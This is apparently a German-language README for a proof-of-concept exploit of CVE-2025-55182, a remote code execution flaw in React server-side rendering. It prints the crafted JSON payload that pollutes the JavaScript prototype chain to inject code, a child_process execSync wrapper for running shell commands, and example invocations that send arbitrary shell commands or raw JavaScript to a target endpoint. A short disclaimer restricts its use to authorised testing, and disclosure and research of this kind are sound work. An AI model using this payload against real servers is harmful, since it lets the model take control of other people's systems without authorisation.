
Dies ist ein POC-Skript für CVE-2025-55182 (React SSR RCE)
Dieser POC dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Diese Schwachstelle wurde in den neuesten Versionen der betroffenen Pakete gepatcht. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben. Ich hafte nicht für rechtliche Schritte gegen Sie.
Der Exploit erstellt ein speziell konstruiertes JSON-Objekt, das die Prototypenkette von JavaScript missbraucht:
{
"then": "$1:__proto__:then", // Verschmutzt die Prototypenkette
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Injizierter bösartiger Code
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Der POC unterstützt zwei Modi:
Standardmodus (Standard):
process.mainModule.require("child_process").execSync("IHR_BEFEHL");
Kapselt Shell-Befehle zur Ausführung über Node.js child_process.
Raw-Modus (--raw-Flag):
// Führt beliebiges JavaScript direkt aus
Ermöglicht die direkte Ausführung von JavaScript-Code ohne Shell-Befehlseinkapselung.
bun run index.ts <befehlsdatei> <ziel_url>
Beispiel:
# Eine Befehlsdatei erstellen
echo "whoami" > cmd.txt
# Gegen verwundbaren Endpunkt ausführen
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_datei> <ziel_url>
Beispiel:
# JavaScript-Payload erstellen
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Roh-JavaScript ausführen
bun run index.ts --raw payload.js http://localhost:3000
<dateipfad>: Pfad zur Datei, die den Befehl oder JavaScript-Code enthält<ziel_url>: URL des React Server Function-Endpunkts--raw: (Optional) Führt rohes JavaScript anstelle von Shell-Befehlen ausEntdeckt von: Lachlan Davidson
Offengelegt von: Das React-Team & Meta Security